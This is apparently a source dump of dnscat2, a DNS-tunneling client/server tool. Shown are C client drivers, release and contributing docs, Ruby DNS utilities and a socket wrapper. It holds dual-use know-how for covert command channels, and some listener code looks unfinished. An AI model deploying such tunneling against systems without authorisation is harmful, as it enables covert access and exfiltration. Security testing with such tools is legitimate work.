Pianos 154 | Pierce 155 | Pigs 156 | Pikey 157 | Pitch 158 | Plato 159 | Plays 160 | Plight 161 | Poetic 162 | Poker 163 | Polite 164 | Pontic 165 | Pony 166 | Powers 167 | Poxes 168 | Prams 169 | Pulped 170 | Purr 171 | Push 172 | Quint 173 | Random 174 | Rapier 175 | Ravel 176 | Real 177 | Rebolt 178 | Recoil 179 | Redear 180 | Reink 181 | Ripe 182 | Riprap 183 | Roger 184 | Ropers 185 | Roving 186 | Rumor 187 | Sanded 188 | Sawlog 189 | Sawman 190 | Scribe 191 | Scruff 192 | Seitan 193 | Sense 194 | Shirks 195 | Sippy 196 | Sitcom 197 | Slumpy 198 | Softy 199 | Sonar 200 | Sonny 201 | Sophic 202 | Spear 203 | Spiced 204 | Spikey 205 | Spine 206 | Spoofy 207 | Spring 208 | Static 209 | Staved 210 | Stilt 211 | Stinty 212 | Stirs 213 | Storer 214 | Story 215 | Strode 216 | Stump 217 | Suited 218 | Surfs 219 | Swatch 220 | Swum 221 | Tables 222 | Taking 223 | Tattoo 224 | Teal 225 | Teeth 226 | Telco 227 | Timer 228 | Tins 229 | Tonite 230 | Tore 231 | Tort 232 | Tried 233 | Trivia 234 | Tubule 235 | Tusked 236 | Twins 237 | Twos 238 | Unborn 239 | Undam 240 | Unwrap 241 | Upcurl 242 | Upseal 243 | Visas 244 | Volume 245 | Waded 246 | Wages 247 | Ware 248 | Wears 249 | Wicked 250 | Winful 251 | Wisely 252 | Wisp 253 | Yerba 254 | Zester 255 | Zoner 256 | Zootic 257 | -------------------------------------------------------------------------------- /client/libs/crypto/micro-ecc/types.h: -------------------------------------------------------------------------------- 1 | /* Copyright 2015, Kenneth MacKay. Licensed under the BSD 2-clause license. */ 2 | 3 | #ifndef _UECC_TYPES_H_ 4 | #define _UECC_TYPES_H_ 5 | 6 | #ifndef uECC_PLATFORM 7 | #if __AVR__ 8 | #define uECC_PLATFORM uECC_avr 9 | #elif defined(__thumb2__) || defined(_M_ARMT) /* I think MSVC only supports Thumb-2 targets */ 10 | #define uECC_PLATFORM uECC_arm_thumb2 11 | #elif defined(__thumb__) 12 | #define uECC_PLATFORM uECC_arm_thumb 13 | #elif defined(__arm__) || defined(_M_ARM) 14 | #define uECC_PLATFORM uECC_arm 15 | #elif defined(__aarch64__) 16 | #define uECC_PLATFORM uECC_arm64 17 | #elif defined(__i386__) || defined(_M_IX86) || defined(_X86_) || defined(__I86__) 18 | #define uECC_PLATFORM uECC_x86 19 | #elif defined(__amd64__) || defined(_M_X64) 20 | #define uECC_PLATFORM uECC_x86_64 21 | #else 22 | #define uECC_PLATFORM uECC_arch_other 23 | #endif 24 | #endif 25 | 26 | #ifndef uECC_WORD_SIZE 27 | #if uECC_PLATFORM == uECC_avr 28 | #define uECC_WORD_SIZE 1 29 | #elif (uECC_PLATFORM == uECC_x86_64 || uECC_PLATFORM == uECC_arm64) 30 | #define uECC_WORD_SIZE 8 31 | #else 32 | #define uECC_WORD_SIZE 4 33 | #endif 34 | #endif 35 | 36 | #if (uECC_WORD_SIZE != 1) && (uECC_WORD_SIZE != 4) && (uECC_WORD_SIZE != 8) 37 | #error "Unsupported value for uECC_WORD_SIZE" 38 | #endif 39 | 40 | #if ((uECC_PLATFORM == uECC_avr) && (uECC_WORD_SIZE != 1)) 41 | #pragma message ("uECC_WORD_SIZE must be 1 for AVR") 42 | #undef uECC_WORD_SIZE 43 | #define uECC_WORD_SIZE 1 44 | #endif 45 | 46 | #if ((uECC_PLATFORM == uECC_arm || uECC_PLATFORM == uECC_arm_thumb || \ 47 | uECC_PLATFORM == uECC_arm_thumb2) && \ 48 | (uECC_WORD_SIZE != 4)) 49 | #pragma message ("uECC_WORD_SIZE must be 4 for ARM") 50 | #undef uECC_WORD_SIZE 51 | #define uECC_WORD_SIZE 4 52 | #endif 53 | 54 | #if defined(__SIZEOF_INT128__) || ((__clang_major__ * 100 + __clang_minor__) >= 302) 55 | #define SUPPORTS_INT128 1 56 | #else 57 | #define SUPPORTS_INT128 0 58 | #endif 59 | 60 | typedef int8_t wordcount_t; 61 | typedef int16_t bitcount_t; 62 | typedef int8_t cmpresult_t; 63 | 64 | #if (uECC_WORD_SIZE == 1) 65 | 66 | typedef uint8_t uECC_word_t; 67 | typedef uint16_t uECC_dword_t; 68 | 69 | #define HIGH_BIT_SET 0x80 70 | #define uECC_WORD_BITS 8 71 | #define uECC_WORD_BITS_SHIFT 3 72 | #define uECC_WORD_BITS_MASK 0x07 73 | 74 | #elif (uECC_WORD_SIZE == 4) 75 | 76 | typedef uint32_t uECC_word_t; 77 | typedef uint64_t uECC_dword_t; 78 | 79 | #define HIGH_BIT_SET 0x80000000 80 | #define uECC_WORD_BITS 32 81 | #define uECC_WORD_BITS_SHIFT 5 82 | #define uECC_WORD_BITS_MASK 0x01F 83 | 84 | #elif (uECC_WORD_SIZE == 8) 85 | 86 | typedef uint64_t uECC_word_t; 87 | #if SUPPORTS_INT128 88 | typedef unsigned __int128 uECC_dword_t; 89 | #endif 90 | 91 | #define HIGH_BIT_SET 0x8000000000000000ull 92 | #define uECC_WORD_BITS 64 93 | #define uECC_WORD_BITS_SHIFT 6 94 | #define uECC_WORD_BITS_MASK 0x03F 95 | 96 | #endif /* uECC_WORD_SIZE */ 97 | 98 | #endif /* _UECC_TYPES_H_ */ 99 | -------------------------------------------------------------------------------- /client/drivers/driver_console.c: -------------------------------------------------------------------------------- 1 | /* driver_console.c 2 | * By Ron Bowes 3 | * 4 | * See LICENSE.md 5 | */ 6 | 7 | #include 8 | #include 9 | #include 10 | #include 11 | 12 | #ifndef WIN32 13 | #include 14 | #endif 15 | 16 | #include "libs/buffer.h" 17 | #include "libs/log.h" 18 | #include "libs/memory.h" 19 | #include "libs/select_group.h" 20 | #include "libs/types.h" 21 | 22 | #include "driver_console.h" 23 | 24 | /* There can only be one driver_console, so store these as global variables. */ 25 | static SELECT_RESPONSE_t console_stdin_recv(void *group, int socket, uint8_t *data, size_t length, char *addr, uint16_t port, void *d) 26 | { 27 | driver_console_t *driver = (driver_console_t*) d; 28 | 29 | buffer_add_bytes(driver->outgoing_data, data, length); 30 | 31 | return SELECT_OK; 32 | } 33 | 34 | static SELECT_RESPONSE_t console_stdin_closed(void *group, int socket, void *d) 35 | { 36 | /* When the stdin pipe is closed, the stdin driver signals the end. */ 37 | driver_console_t *driver = (driver_console_t*) d; 38 | 39 | /* Record that we've been shut down - we'll continue reading to the end of the buffer, still. */ 40 | driver->is_shutdown = TRUE; 41 | 42 | return SELECT_CLOSE_REMOVE; 43 | } 44 | 45 | void driver_console_data_received(driver_console_t *driver, uint8_t *data, size_t length) 46 | { 47 | size_t i; 48 | 49 | for(i = 0; i < length; i++) 50 | fputc(data[i], stdout); 51 | } 52 | 53 | uint8_t *driver_console_get_outgoing(driver_console_t *driver, size_t *length, size_t max_length) 54 | { 55 | /* If the driver has been killed and we have no bytes left, return NULL to close the session. */ 56 | if(driver->is_shutdown && buffer_get_remaining_bytes(driver->outgoing_data) == 0) 57 | return NULL; 58 | 59 | return buffer_read_remaining_bytes(driver->outgoing_data, length, max_length, TRUE); 60 | } 61 | 62 | driver_console_t *driver_console_create(select_group_t *group) 63 | /*, char *name, char *download, int first_chunk)*/ 64 | { 65 | driver_console_t *driver = (driver_console_t*) safe_malloc(sizeof(driver_console_t)); 66 | #ifdef WIN32 67 | HANDLE stdin_handle = get_stdin_handle(); 68 | #endif 69 | 70 | driver->group = group; 71 | driver->is_shutdown = FALSE; 72 | driver->outgoing_data = buffer_create(BO_LITTLE_ENDIAN); 73 | 74 | #ifdef WIN32 75 | /* On Windows, the stdin_handle is quite complicated, and involves a sub-thread. */ 76 | select_group_add_pipe(group, -1, stdin_handle, driver); 77 | select_set_recv(group, -1, console_stdin_recv); 78 | select_set_closed(group, -1, console_stdin_closed); 79 | #else 80 | /* On Linux, the stdin_handle is easy. */ 81 | int stdin_handle = STDIN_FILENO; 82 | select_group_add_socket(group, stdin_handle, SOCKET_TYPE_STREAM, driver); 83 | select_set_recv(group, stdin_handle, console_stdin_recv); 84 | select_set_closed(group, stdin_handle, console_stdin_closed); 85 | #endif 86 | 87 | return driver; 88 | } 89 | 90 | void driver_console_destroy(driver_console_t *driver) 91 | { 92 | if(!driver->is_shutdown) 93 | driver_console_close(driver); 94 | safe_free(driver); 95 | } 96 | 97 | void driver_console_close(driver_console_t *driver) 98 | { 99 | driver->is_shutdown = TRUE; 100 | } 101 | -------------------------------------------------------------------------------- /client/drivers/driver_listener.c: -------------------------------------------------------------------------------- 1 | /* driver_listener.c 2 | * By Ron Bowes 3 | * 4 | * See LICENSE.md 5 | */ 6 | 7 | #include 8 | #include 9 | #include 10 | #include 11 | 12 | #ifndef WIN32 13 | #include 14 | #endif 15 | 16 | #include "libs/log.h" 17 | #include "libs/memory.h" 18 | #include "libs/select_group.h" 19 | #include "libs/tcp.h" 20 | #include "libs/types.h" 21 | 22 | #include "driver_listener.h" 23 | 24 | typedef struct _listener_client_t 25 | { 26 | int s; 27 | char *address; 28 | uint16_t port; 29 | uint16_t id; 30 | driver_listener_t *driver; 31 | 32 | struct _listener_client_t *next; 33 | } client_entry_t; 34 | 35 | static uint32_t tunnel_id = 0; 36 | static client_entry_t *first_client = NULL; 37 | 38 | static SELECT_RESPONSE_t client_recv(void *group, int socket, uint8_t *data, size_t length, char *addr, uint16_t port, void *c) 39 | { 40 | client_entry_t *client = (client_entry_t*) c; 41 | 42 | return SELECT_OK; 43 | } 44 | 45 | static SELECT_RESPONSE_t client_closed(void *group, int socket, void *c) 46 | { 47 | client_entry_t *client = (client_entry_t*) c; 48 | 49 | message_post_close_session(client->session_id); 50 | 51 | /* TODO: Unlink it from the entry list. */ 52 | 53 | return SELECT_CLOSE_REMOVE; 54 | } 55 | 56 | static SELECT_RESPONSE_t listener_closed(void *group, int socket, void *c) 57 | { 58 | LOG_FATAL("Listener socket went away!"); 59 | exit(1); 60 | 61 | return SELECT_CLOSE_REMOVE; 62 | } 63 | 64 | static SELECT_RESPONSE_t listener_accept(void *group, int s, void *d) 65 | { 66 | driver_listener_t *driver = (driver_listener_t*) d; 67 | client_entry_t *client = safe_malloc(sizeof(client_entry_t)); 68 | 69 | client->s = tcp_accept(s, &client->address, &client->port); 70 | 71 | client->driver = driver; 72 | client->next = first_client; 73 | first_client = client; 74 | 75 | LOG_WARNING("Received a connection from %s:%d (created session %d)", client->address, client->port, client->session_id); 76 | 77 | select_group_add_socket(group, client->s, SOCKET_TYPE_STREAM, client); 78 | select_set_recv(group, client->s, client_recv); 79 | select_set_closed(group, client->s, client_closed); 80 | 81 | return SELECT_OK; 82 | } 83 | 84 | uint8_t *driver_listener_get_outgoing(driver_console_t *driver, size_t *length, size_t max_length) 85 | { 86 | return NULL; 87 | } 88 | 89 | driver_listener_t *driver_listener_create(select_group_t *group, char *host, int port, char *name) 90 | { 91 | driver_listener_t *driver = (driver_listener_t*) safe_malloc(sizeof(driver_listener_t)); 92 | 93 | driver->group = group; 94 | driver->host = host; 95 | driver->port = port; 96 | driver->s = tcp_listen(driver->host, driver->port); 97 | 98 | if(!driver->s) 99 | { 100 | LOG_FATAL("Failed to listen on %s:%d", driver->host, driver->port); 101 | exit(1); 102 | } 103 | 104 | /* On Linux, the stdin_handle is easy. */ 105 | select_group_add_socket(driver->group, driver->s, SOCKET_TYPE_LISTEN, driver); 106 | select_set_listen(driver->group, driver->s, listener_accept); 107 | select_set_closed(driver->group, driver->s, listener_closed); 108 | 109 | return driver; 110 | } 111 | 112 | void driver_listener_destroy(driver_listener_t *driver) 113 | { 114 | safe_free(driver); 115 | } 116 | -------------------------------------------------------------------------------- /doc/how_to_do_a_release.md: -------------------------------------------------------------------------------- 1 | This document is written more for myself than for the community. But if 2 | somebody else someday has to do a release (because, I dunno, I gave up 3 | DNS for NetBIOS), this could be helpful. :) 4 | 5 | ## Merge! 6 | 7 | If there's a branch to merge, simply run: 8 | 9 | git checkout master 10 | git pull 11 | git merge otherbranch 12 | git push 13 | 14 | Super simple! 15 | 16 | ## Make sure the version number and docs are up to date 17 | 18 | Both client/dnscat.c and server/dnscat2.rb contain a version number at 19 | the top. Perhaps I should store it in a single place and include it 20 | automatically, but at the moment it's not. 21 | 22 | Things in the tools/ directory also have their own independent version 23 | numbers. They should be updated if and only if the tool itself was 24 | updated in some way. 25 | 26 | Make sure other documentation is up to date, such as usage and output. 27 | 28 | And finally, make sure docs/changelog.md is up to date. 29 | 30 | ## Make sure it compiles on all platforms 31 | 32 | Compile and give it a cursory test on all supported platforms: 33 | 34 | * Linux (32- and 64-bit) 35 | * FreeBSD 36 | * Mac OS X 37 | * Windows (via Visual Studio) 38 | 39 | Be sure to compile in release mode, "make release", which enables 40 | optimizations and disables some debug flags. 41 | 42 | On Windows, you will also need to set the build profile to "Release". 43 | 44 | It's especially important to make sure that Windows works, because 45 | Visual Studio is so different from the rest of the platforms. 46 | 47 | ## Compile and upload the distribution files 48 | 49 | Release versions on Linux can be compiled using: 50 | 51 | make release 52 | 53 | Source distros can be packaged using: 54 | 55 | make source_release 56 | 57 | It even zips them for you! They're put into the dist/ folder. 58 | 59 | Releases on other platforms (like Windows) require some manual work at 60 | the moment. Please try to follow my naming scheme: 61 | 62 | * dnscat2-v0.04-client-source.tar.bz2 63 | * dnscat2-v0.04-client-source.zip 64 | * dnscat2-v0.04-client-win32.zip 65 | * dnscat2-v0.04-client-x64.tar.bz2 66 | * dnscat2-v0.04-client-x86.tar.bz2 67 | * dnscat2-v0.04-server.tar.bz2 68 | * dnscat2-v0.04-server.zip 69 | 70 | For binaries, the binaries in the archive should be simply "dnscat" - no 71 | paths or anything like that. 72 | 73 | FWIW, I don't provide a zip of the client and server source together 74 | because that's exactly just what you get on github. :) 75 | 76 | ## Sign and upload the release files 77 | 78 | First, create signatures for all the files: 79 | 80 | rm *.sig; for i in *; do gpg --armor --detach-sig --output $i.sig $i; done 81 | 82 | Then upload them to https://downloads.skullsecurity.org/dnscat2/ 83 | 84 | ## Create and push a signed tag: 85 | 86 | Create a signed tag with a comment like this one: 87 | 88 | git tag -s "v0.02" -m "Beta release 2" 89 | 90 | Then push it upstream: 91 | 92 | git push origin v0.02 93 | 94 | Once that's done, to publish the release: 95 | 96 | * Add release notes on https://github.com/iagox86/dnscat2/tags 97 | * Publish it on: https://github.com/iagox86/dnscat2/releases 98 | 99 | ## In case you need to delete a tag 100 | 101 | If you screw up, which I always do, here's the process to delete a tag: 102 | 103 | git tag -d v0.02 104 | git push origin :refs/tags/v0.02 105 | -------------------------------------------------------------------------------- /tools/dnsmastermind.rb: -------------------------------------------------------------------------------- 1 | ## 2 | # dnslogger.rb 3 | # Created July 22, 2015 4 | # By Ron Bowes 5 | # 6 | # See: LICENSE.md 7 | # 8 | # Simply checks if you're the authoritative server. 9 | ## 10 | 11 | $LOAD_PATH << File.dirname(__FILE__) # A hack to make this work on 1.8/1.9 12 | 13 | require 'trollop' 14 | require '../server/libs/dnser' 15 | 16 | # version info 17 | NAME = "dnsmastermind" 18 | VERSION = "v1.0.0" 19 | 20 | Thread.abort_on_exception = true 21 | 22 | # Options 23 | opts = Trollop::options do 24 | version(NAME + " " + VERSION) 25 | 26 | opt :version, "Get the #{NAME} version", :type => :boolean, :default => false 27 | opt :host, "The ip address to listen on", :type => :string, :default => "0.0.0.0" 28 | opt :port, "The port to listen on", :type => :integer, :default => 53 29 | opt :timeout, "The amount of time (seconds) to wait for a response", :type => :integer, :default => 10 30 | opt :solution,"The answer; should be four letters, unless you're a jerk", :type => :string, :default => nil, :required => true 31 | opt :win, "The message to display to winners", :type => :string, :default => "YOU WIN!!" 32 | end 33 | 34 | if(opts[:port] < 0 || opts[:port] > 65535) 35 | Trollop::die :port, "must be a valid port (between 0 and 65535)" 36 | end 37 | 38 | if(opts[:solution].include?('.')) 39 | Trollop::die :solution, "must not contain period; SHOULD only contain [a-z]{4} :)" 40 | end 41 | solution = opts[:solution].upcase() 42 | 43 | puts("Starting #{NAME} #{VERSION} DNS server on #{opts[:host]}:#{opts[:port]}") 44 | 45 | dnser = DNSer.new(opts[:host], opts[:port]) 46 | 47 | dnser.on_request() do |transaction| 48 | begin 49 | request = transaction.request 50 | 51 | if(request.questions.length < 1) 52 | puts("The request didn't ask any questions!") 53 | next 54 | end 55 | 56 | if(request.questions.length > 1) 57 | puts("The request asked multiple questions! This is super unusual, if you can reproduce, please report!") 58 | next 59 | end 60 | 61 | if(request.questions[0].type != DNSer::Packet::TYPE_TXT) 62 | next 63 | end 64 | guess, domain = request.questions[0].name.split(/\./, 2) 65 | guess.upcase!() 66 | 67 | if(guess == solution) 68 | puts("WINNER!!!") 69 | answer = opts[:win] 70 | elsif(guess.length == solution.length) 71 | saved_guess = guess 72 | tmp_solution = solution.chars.to_a() 73 | guess = guess.chars.to_a() 74 | answer = "" 75 | 76 | 0.upto(tmp_solution.length() - 1) do |i| 77 | if(tmp_solution[i] == guess[i]) 78 | answer += "O" 79 | tmp_solution[i] = "" 80 | guess[i] = "" 81 | end 82 | end 83 | 84 | guess.each do |c| 85 | if(c == "") 86 | next 87 | end 88 | 89 | if(tmp_solution.include?(c)) 90 | tmp_solution[tmp_solution.index(c)] = "" 91 | answer += "X" 92 | end 93 | end 94 | 95 | if(answer == "") 96 | answer = "No correct character; keep trying!" 97 | end 98 | 99 | puts("Guess: #{saved_guess} => #{answer}") 100 | else 101 | puts("Invalid; sending instructions: #{guess}") 102 | answer = "Instructions: guess the #{solution.length}-character string: dig -t txt [guess].#{domain}! 'O' = correct, 'X' = correct, but wrong position" 103 | end 104 | 105 | answer = DNSer::Packet::Answer.new(request.questions[0], DNSer::Packet::TYPE_TXT, DNSer::Packet::CLS_IN, 100, DNSer::Packet::TXT.new(answer)) 106 | 107 | transaction.add_answer(answer) 108 | transaction.reply!() 109 | rescue StandardError => e 110 | puts("Error: #{e}") 111 | puts(e.backtrace) 112 | end 113 | end 114 | 115 | dnser.wait() 116 | -------------------------------------------------------------------------------- /doc/contributing.md: -------------------------------------------------------------------------------- 1 | # Introduction 2 | 3 | So, you want to contribute to dnscat2 but don't know where to start? 4 | Well, this document will help give you some context on how to contribute 5 | and how development happens. 6 | 7 | It also describes the layout and logic behind the dnscat2 codebase. 8 | This is primarily intended for developers or perhaps security auditors, 9 | and shouldn't be necessary for end users. 10 | 11 | This document complements other documents, such as 12 | [protocol.md](protocol.md). 13 | 14 | # How do I contribute? 15 | 16 | Contributing is easy! I love getting code submitted from others! Send me 17 | a pull request! 18 | 19 | To go into more details... 20 | 21 | If you're wondering how to help, check out the [issue 22 | tracker](https://github.com/iagox86/dnscat2/issues). I try to keep that 23 | up to date with the current bugs / requested features. Some of the 24 | things on there are poorly described, because I write them for myself, 25 | but if something catches your eye, feel free to request details! 26 | 27 | If you plan to develop something, be sure to take a look at the 28 | [branches](https://github.com/iagox86/dnscat2/branches) to see if 29 | there's currently a branch that's going to conflict with your changes 30 | (especially in the early stages, I'm doing a lot of global refactoring, 31 | so I can easily and unintentionally break your changes). 32 | 33 | Being that I (Ron / iagox86) am currently the only developer, there 34 | isn't a mailing list or anything like that set up. However, you're 35 | absolutely welcome to email me any questions you have - I'm very 36 | responsive with email, and I respond to any and all emails that aren't, 37 | for example, asking me to hack your wife. If a few days go by with no 38 | response, feel free to email again with "friendly ping" or something :) 39 | 40 | Because it's just me, politics and coding style aren't a huge issue. 41 | Please try to use the same coding style as the surrounding code to make 42 | it easier to read. Also, comment and document generously! 43 | 44 | I think that's all you really need to know about contributing. The rest 45 | of this document will be about design decisions and where to find 46 | different pieces! 47 | 48 | # Architecture 49 | 50 | This section became too long to fit into a single doc, so I decided to 51 | split out the documentation for the client and the server" 52 | 53 | * [Client architecture](client_architecture.md) 54 | * [Server architecture](server_architecture.md) 55 | 56 | # Security 57 | 58 | As mentioned in the client error handling section, any bad data causes 59 | the client to `abort`. That's obviously not ideal, but at least it's 60 | safe. On the server, bad data is ignored - an exception is triggered and 61 | the connection is closed, if it can't recover. 62 | 63 | Some other security concerns: 64 | 65 | * Man-in-the-middle: A man-in-the-middle attack is possible, and can 66 | cause code execution on the client. This has no more defense against 67 | tampering than TCP has. I may add some signing in the future. 68 | 69 | * Server: The server should be completely safe (ie, able to be run on 70 | trusted infrastructure). The client can't execute code, download 71 | files, or anything else that would negatively affect the server. 72 | 73 | * Server 'process': The server has a --process argument (and 'process' 74 | setting) that hands any incoming data from clients (who, by 75 | definition, aren't trusted) to the process. If an insecure process is 76 | chosen (or a command shell, like '/bin/sh'), it can compromise the 77 | server's security. Use --process with extreme caution! 78 | 79 | * Confidentiality: There is no confidentiality (all data is sent in 80 | plaintext). I may add some crypto in the future. 81 | 82 | * Cloaking: From a network traffic perspective, it's exceedingly obvious that 83 | it's dnscat. It's also possible to trick a dnscat2 server into revealing 84 | itself (with a ping). There is no hiding. 85 | -------------------------------------------------------------------------------- /tools/dnslogger.rb: -------------------------------------------------------------------------------- 1 | ## 2 | # dnslogger.rb 3 | # Created July 22, 2015 4 | # By Ron Bowes 5 | # 6 | # See: LICENSE.md 7 | # 8 | # Implements a stupidly simple DNS server. 9 | ## 10 | 11 | $LOAD_PATH << File.dirname(__FILE__) # A hack to make this work on 1.8/1.9 12 | 13 | require 'trollop' 14 | require '../server/libs/dnser' 15 | 16 | # version info 17 | NAME = "dnslogger" 18 | VERSION = "v1.0.0" 19 | 20 | Thread.abort_on_exception = true 21 | 22 | # Options 23 | opts = Trollop::options do 24 | version(NAME + " " + VERSION) 25 | 26 | opt :version, "Get the #{NAME} version", :type => :boolean, :default => false 27 | opt :host, "The ip address to listen on", :type => :string, :default => "0.0.0.0" 28 | opt :port, "The port to listen on", :type => :integer, :default => 53 29 | 30 | opt :passthrough, "Set to a host:port, and unanswered queries will be sent there", :type => :string, :default => nil 31 | opt :packet_trace, "If enabled, print details about the packets", :type => :boolean, :default => false 32 | 33 | opt :A, "Response to send back for 'A' requests", :type => :string, :default => nil 34 | opt :AAAA, "Response to send back for 'AAAA' requests", :type => :string, :default => nil 35 | opt :CNAME, "Response to send back for 'CNAME' requests", :type => :string, :default => nil 36 | opt :TXT, "Response to send back for 'TXT' requests", :type => :string, :default => nil 37 | opt :MX, "Response to send back for 'MX' requests", :type => :string, :default => nil 38 | opt :MX_PREF, "The preference order for the MX record", :type => :integer, :default => 10 39 | opt :NS, "Response to send back for 'NS' requests", :type => :string, :default => nil 40 | 41 | opt :ttl, "The TTL value to return", :type => :integer, :default => 60 42 | end 43 | 44 | if(opts[:port] < 0 || opts[:port] > 65535) 45 | Trollop::die :port, "must be a valid port (between 0 and 65535)" 46 | end 47 | 48 | puts("Starting #{NAME} #{VERSION} DNS server on #{opts[:host]}:#{opts[:port]}") 49 | 50 | pt_host = pt_port = nil 51 | if(opts[:passthrough]) 52 | pt_host, pt_port = opts[:passthrough].split(/:/, 2) 53 | pt_port = pt_port || 53 54 | puts("Any queries without a specific answer will be sent to #{pt_host}:#{pt_port}") 55 | end 56 | 57 | dnser = DNSer.new(opts[:host], opts[:port]) 58 | 59 | dnser.on_request() do |transaction| 60 | request = transaction.request 61 | 62 | if(request.questions.length < 1) 63 | puts("The request didn't ask any questions!") 64 | next 65 | end 66 | 67 | if(request.questions.length > 1) 68 | puts("The request asked multiple questions! This is super unusual, if you can reproduce, please report!") 69 | next 70 | end 71 | 72 | question = request.questions[0] 73 | 74 | puts(request.to_s(!opts[:packet_trace])) 75 | 76 | # If they provided a way to handle it, to that 77 | response = question.type_s ? opts[question.type_s.to_sym] : nil 78 | if(response) 79 | if(question.type == DNSer::Packet::TYPE_MX) 80 | answer = question.answer(opts[:ttl], response, opts[:MX_PREF]) 81 | else 82 | answer = question.answer(opts[:ttl], response) 83 | end 84 | 85 | transaction.add_answer(answer) 86 | puts(transaction.response.to_s(!opts[:packet_trace])) 87 | transaction.reply!() 88 | else 89 | if(pt_host) 90 | transaction.passthrough!(pt_host, pt_port, Proc.new() do |packet| 91 | puts(packet.to_s(!opts[:packet_trace])) 92 | end) 93 | puts("OUT: (...forwarding upstream...)") 94 | else 95 | transaction.error!(DNSer::Packet::RCODE_NAME_ERROR) 96 | puts(transaction.response.to_s(!opts[:packet_trace])) 97 | end 98 | end 99 | 100 | if(!transaction.sent) 101 | raise(StandardError, "Oops! We didn't send the response! Please file a bug") 102 | end 103 | 104 | end 105 | 106 | # Wait for it to finish (never-ending, essentially) 107 | dnser.wait() 108 | -------------------------------------------------------------------------------- /server/libs/socketer.rb: -------------------------------------------------------------------------------- 1 | ## 2 | # socketer.rb 3 | # Created November 27, 2015 4 | # By Ron Bowes 5 | # 6 | # See: LICENSE.md 7 | # 8 | # This is a fairly simple wrapper around TCPSocket that makes the interface 9 | # a bit more ruby-esque. 10 | ## 11 | 12 | require 'socket' 13 | 14 | class Socketer 15 | attr_reader :lhost, :lport 16 | 17 | BUFFER = 65536 18 | 19 | class Session 20 | attr_reader :host, :port 21 | 22 | def initialize(client, callbacks = {}) 23 | @client = client 24 | @on_connect = callbacks[:on_connect] 25 | @on_data = callbacks[:on_data] 26 | @on_error = callbacks[:on_error] 27 | @host = client.peeraddr[2] 28 | @port = client.peeraddr[1] 29 | 30 | # Do the 'new connection' callback 31 | if(@on_connect) 32 | @on_connect.call(self, client.peeraddr[2], client.peeraddr[1]) 33 | end 34 | end 35 | 36 | def _handle_exception(e, msg) 37 | if(@on_error) 38 | @on_error.call(self, "Error #{msg}: #{e}", e) 39 | end 40 | stop!() 41 | end 42 | 43 | def ready!() 44 | @thread = Thread.new() do 45 | begin 46 | loop do 47 | data = @client.recv(BUFFER) 48 | 49 | if(data.nil? || data.length == 0) 50 | raise(IOError, "Connection closed") 51 | end 52 | 53 | if(@on_data) 54 | @on_data.call(self, data) 55 | end 56 | end 57 | rescue Exception => e 58 | begin 59 | _handle_exception(e, "receiving data") 60 | rescue Exception => e 61 | puts("Error in exception handler; please don't do that :)") 62 | puts(e) 63 | puts(e.backtrace) 64 | end 65 | end 66 | end 67 | end 68 | 69 | def stop!() 70 | if(@thread) 71 | @thread.exit() 72 | end 73 | 74 | @client.close() 75 | end 76 | 77 | def send(data) 78 | begin 79 | @client.write(data) 80 | rescue Exception => e 81 | _handle_exception(e, "sending data") 82 | 83 | stop!() 84 | end 85 | end 86 | end 87 | 88 | def initialize(socket, thread, lhost, lport) 89 | @socket = socket 90 | @thread = thread 91 | @lhost = lhost 92 | @lport = lport 93 | end 94 | 95 | def to_s() 96 | return "Tunnel listening on %s:%d" % [@lhost, @lport] 97 | end 98 | 99 | def kill() 100 | begin 101 | @thread.exit() 102 | @thread.join() 103 | @socket.close() 104 | rescue 105 | # Ignore exceptions 106 | end 107 | end 108 | 109 | def Socketer._handle_exception(e, msg, callbacks) 110 | if(callbacks[:on_error]) 111 | callbacks[:on_error].call(self, "Error #{msg}: #{e}", e) 112 | end 113 | end 114 | 115 | def Socketer.listen(host, port, callbacks = {}) 116 | # Create the socket right away so we'll know if it fails 117 | #puts("Listening on #{host}:#{port}...") 118 | s = TCPServer.new(host, port) 119 | 120 | return Socketer.new(s, Thread.new() do 121 | begin 122 | loop do 123 | Session.new(s.accept(), callbacks) 124 | end 125 | rescue StandardError => e 126 | Socketer._handle_exception(e, "connecting to #{host}:#{port}", callbacks) 127 | end 128 | end, host, port) 129 | end 130 | 131 | def Socketer.connect(host, port, callbacks = {}) 132 | #puts("Connecting to #{host}:#{port}...") 133 | 134 | return Thread.new() do 135 | begin 136 | s = TCPSocket.new(host, port) 137 | if(s) 138 | Session.new(s, callbacks) 139 | else 140 | if(callbacks[:on_error]) 141 | callbacks[:on_error].call(nil, "Couldn't connect to #{host}:#{port}!") 142 | end 143 | end 144 | rescue Exception => e 145 | Socketer._handle_exception(e, "connecting to #{host}:#{port}", callbacks) 146 | end 147 | end 148 | end 149 | end 150 | -------------------------------------------------------------------------------- /server/libs/vash.rb: -------------------------------------------------------------------------------- 1 | ############################################################################# 2 | # Class: Vash (Ruby Volatile Hash) 3 | # 4 | # Hash that returns values only for a short time. This is useful as a cache 5 | # where I/O is involved. The primary goal of this object is to reduce I/O 6 | # access and due to the nature of I/O being slower then memory, you should also 7 | # see a gain in quicker response times. 8 | # 9 | # For example, if Person.first found the first person from the database & cache 10 | # was an instance of Vash then the following would only contact the database for 11 | # the first iteration: 12 | # 13 | # > cache = Vash.new 14 | # > 1000.times {cache[:person] ||= Person.first} 15 | # 16 | # However if you did the following immediately following that command it would 17 | # hit the database again: 18 | # 19 | # > sleep 61 20 | # > cache[:person] ||= Person.first 21 | # 22 | # The reason is that there is a default Time-To-Live of 60 seconds. You can 23 | # also set a custom TTL of 10 seconds like so: 24 | # 25 | # > cache[:person, 10] = Person.first 26 | # 27 | # The Vash object will forget any answer that is requested after the specified 28 | # TTL. It is a good idea to manually clean things up from time to time because 29 | # it is possible that you'll cache data but never again access it and therefor 30 | # it will stay in memory after the TTL has expired. To clean up the Vash object, 31 | # call the method: cleanup! 32 | # 33 | # > sleep 11 # At this point the prior person ttl will be expired 34 | # # but the person key and value will still exist. 35 | # > cache # This will still show the the entire set of keys 36 | # # regardless of the TTL, the :person will still exist 37 | # > cache.cleanup! # All of the TTL's will be inspected and the expired 38 | # # :person key will be deleted. 39 | # 40 | # The cleanup must be manually called because the purpose of the Vash is to 41 | # lessen needless I/O calls and gain speed not to slow it down with regular 42 | # maintenance. 43 | class Vash < Hash 44 | def initialize(constructor = {}) 45 | @register ||= {} # remembers expiration time of every key 46 | if constructor.is_a?(Hash) 47 | super() 48 | merge(constructor) 49 | else 50 | super(constructor) 51 | end 52 | end 53 | 54 | alias_method :regular_writer, :[]= unless method_defined?(:regular_writer) 55 | alias_method :regular_reader, :[] unless method_defined?(:regular_reader) 56 | 57 | def [](key) 